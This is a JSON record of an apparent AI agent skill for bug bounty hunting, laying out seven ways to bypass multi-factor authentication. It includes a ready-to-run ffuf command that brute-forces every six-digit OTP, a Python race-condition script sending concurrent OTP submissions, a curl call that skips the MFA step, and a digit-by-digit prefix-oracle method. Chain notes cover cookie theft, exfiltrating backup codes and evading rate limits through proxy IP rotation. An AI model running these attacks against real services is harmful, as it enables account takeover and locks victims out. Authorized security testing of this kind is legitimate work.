{"id":"hunt-mfa-bypass","name":"hunt-mfa-bypass","summary":"Hunt MFA / 2FA バイパス — 7つの異なるパターン。","body":"## Autonomous Testing Priority\n\n**Try workflow bypasses before brute force — they're faster and more likely to succeed.**\n\n**Pattern 1 — Skip the MFA step entirely (most automatable):**\n1. Login with valid credentials → receive a \"pre-MFA\" session state\n2. Without completing MFA, directly access a protected resource (`/dashboard`, `/api/me`, `/account/profile`)\n3. If the response returns user data → MFA is enforced only in the UI, not server-side = Critical\n\n**Pattern 2 — OTP replay (reuse a consumed code):**\n1. Complete a valid MFA flow to get a working OTP\n2. Log out, log in again with the same credentials\n3. Submit the same OTP again\n4. If accepted → OTP is not invalidated after use\n\n**Pattern 3 — Submit obviously wrong OTP, observe response:**\nTry submitting `000000` or `123456`. If the response is 200 or returns a session token, OTP validation is broken or client-side only.\n\n**Pattern 4 — Partial / incremental validation (prefix oracle):**\nIf a guessed full code is rejected, test whether the server validates the OTP **prefix-by-prefix** instead of all-or-nothing. Submit a short partial code and compare responses:\n1. Submit a 1–3 digit value (e.g. `otp=1`, then `otp=12`, …) — for a POST verify endpoint the code goes in the **request body**, not the URL query string, or the server reads an empty value.\n2. If a *correct* prefix gives a DIFFERENT response than a wrong one (a success/flag, a distinct message, or a different length/timing), the validator leaks correctness one chunk at a time.\n3. Walk the code digit-by-digit: keep the prefix that \"responds correct,\" append 0–9, repeat. This collapses 10^6 brute force to ~10×N guesses (≤60 for a 6-digit code) — very feasible in a bounded test.\nThis is the go-to when there is no leaked code and no skip/replay path. Some apps award success on *any* correct prefix outright (so a single correct first digit can win — sweep `otp=0,1,…,9` before giving up).\n**CRITICAL — stay in ONE session:** re-authenticating (POST /…/login again) regenerates the OTP, throwing away your prefix progress. Do the entire sweep against a single established MFA session; never re-login between guesses.\n\n**On full brute force:** brute-forcing all 10^6 codes is infeasible in a bounded test — but the prefix oracle above (Pattern 4) usually makes it unnecessary. Only attempt full brute force with evidence of no rate limit AND a small key space.\n\n**Proof:** A session token or protected resource data in the response without completing MFA confirms the bypass.\n\n---\n\n## 19. MFA / 2FA BYPASS\n> Growing bug class — 7 distinct patterns. Pays High/Critical when it enables ATO without prior session.\n\n### Pattern 1: No Rate Limit on OTP\n```bash\n# Test with ffuf — all 1M 6-digit codes\nffuf -u \"https://target.com/api/verify-otp\" \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -H \"Cookie: session=YOUR_SESSION\" \\\n  -d '{\"otp\":\"FUZZ\"}' \\\n  -w <(seq -w 000000 999999) \\\n  -fc 400,429 -t 5\n# -t 5 (slow down) — aggressive rates get 429 or ban\n```\n\n### Pattern 2: OTP Not Invalidated After Use\n```\n1. Login → receive OTP \"123456\" → enter it → success\n2. Logout → login again with same credentials\n3. Try OTP \"123456\" again\n4. If accepted → OTP never invalidated = ATO (attacker sniffs OTP once, reuses forever)\n```\n\n### Pattern 3: Response Manipulation\n```\n1. Enter wrong OTP → capture response in Burp\n2. Change {\"success\":false} → {\"success\":true} (or 401 → 200)\n3. Forward → if app proceeds → client-side only MFA check\n```\n\n### Pattern 4: Skip MFA Step (Workflow Bypass)\n```bash\n# After entering password, app sets a \"pre-mfa\" cookie → redirects to /mfa\n# Test: skip /mfa entirely, access /dashboard directly with pre-mfa cookie\n# If app grants access without MFA = auth flow bypass = Critical\ncurl -s -b \"session=PRE_MFA_SESSION\" https://target.com/dashboard\n```\n\n### Pattern 5: Race on MFA Verification\n```python\nimport asyncio, aiohttp\n\nasync def verify(session, otp):\n    async with session.post(\"https://target.com/api/mfa/verify\",\n                            json={\"otp\": otp}) as r:\n        return r.status, await r.text()\n\nasync def race():\n    cookies = {\"session\": \"YOUR_SESSION\"}\n    async with aiohttp.ClientSession(cookies=cookies) as s:\n        # Fire ~30 concurrent submissions of the SAME OTP to hit the TOCTOU\n        # window before the server marks it used. Two requests are NOT enough —\n        # they almost always resolve sequentially as \"already-used\" (false negative).\n        # Best done as a single-packet / 20+ HTTP-2-stream attack (Turbo Intruder).\n        results = await asyncio.gather(*[verify(s, \"123456\") for _ in range(30)])\n        # Race confirmed if >1 success (or 1 success among many \"already-used\").\n        for status, body in results:\n            print(status, body)\nasyncio.run(race())\n```\n\n### Pattern 6: Backup Code Brute Force\n```\nBackup codes: typically 8 alphanumeric = 36^8 = ~2.8T (too large)\nBUT: check if backup codes are only 6-8 digits = 1-10M range = feasible with no rate limit\nAlso test: can backup codes be reused after exhaustion? Some apps regenerate predictably.\n```\n\n### Pattern 7: \"Remember This Device\" Trust Escalation\n```\n1. Complete MFA once on Device A (attacker's browser)\n2. Capture the \"remember device\" cookie\n3. Present that cookie from a new IP/browser\n4. If MFA skipped = device trust not bound to IP/UA = ATO from any location\n```\n\n### MFA Chain Escalation\n```\nRate limit bypass + no lockout = ATO (Critical)\nResponse manipulation = client-side only check = Critical\nSkip MFA step = auth flow bypass = Critical\nOTP reuse = persistent session hijack = High\n```\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-ato`** — MFA bypass is a primitive; ATO is the destination. Chain primitive: cookie theft (via XSS or session-fixation) + password oracle (login response timing/length diff reveals valid passwords without lockout) + no MFA step-up on password-change endpoint = persistent ATO without ever facing the OTP challenge → password rotated, attacker locks victim out.\n- **`hunt-race-condition`** — Pattern 5 (OTP race) lives in race-condition territory; load both skills together. Chain primitive: same 6-digit OTP submitted via 20 parallel HTTP/2 streams (single-packet Turbo Intruder attack) before the server marks it used → 1 success + 19 \"already-used\" → race window confirmed → attacker doesn't need to brute, just guesses once and parallelizes → ATO.\n- **`hunt-auth-bypass`** — MFA-step-skip is auth-flow bypass at the workflow layer. Chain primitive: pre-MFA cookie issued after password step + direct navigation to `/dashboard` skipping `/mfa` route + server only middleware-gates `/mfa` not `/dashboard` = full post-auth access from password-only state → MFA never enforced because the route gate was misplaced.\n- **`hunt-misc`** — Recovery-code dump via `/api/me` is a misc-class info disclosure that becomes Critical when chained. Chain primitive: `/api/me` returns full user object including `backup_codes` array (plaintext, never rotated) → attacker with any read-IDOR or XSS exfils backup codes → uses one backup code → MFA satisfied → ATO without OTP knowledge.\n- **`security-arsenal`** — Pull the OTP-brute-force payload section (000000-999999 wordlist generator, ffuf rate-limit-evasion patterns with `-t 5 -p 0.5-2`, distributed-IP rotation via proxychains) and the JWT-token-replay table when \"MFA satisfied\" claim lives in a JWT claim that can be forged.\n- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on an MFA bypass that only works when the attacker already has the password. Standalone MFA bypass is High; chained-with-password-oracle is Critical; chained-with-cookie-theft-only is Critical. The chain question separates the two.","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-mfa-bypass","license":"MIT","category":"testing","lang":"en","tokens":1919,"stars":0,"calls30d":1,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":["target.com"]}}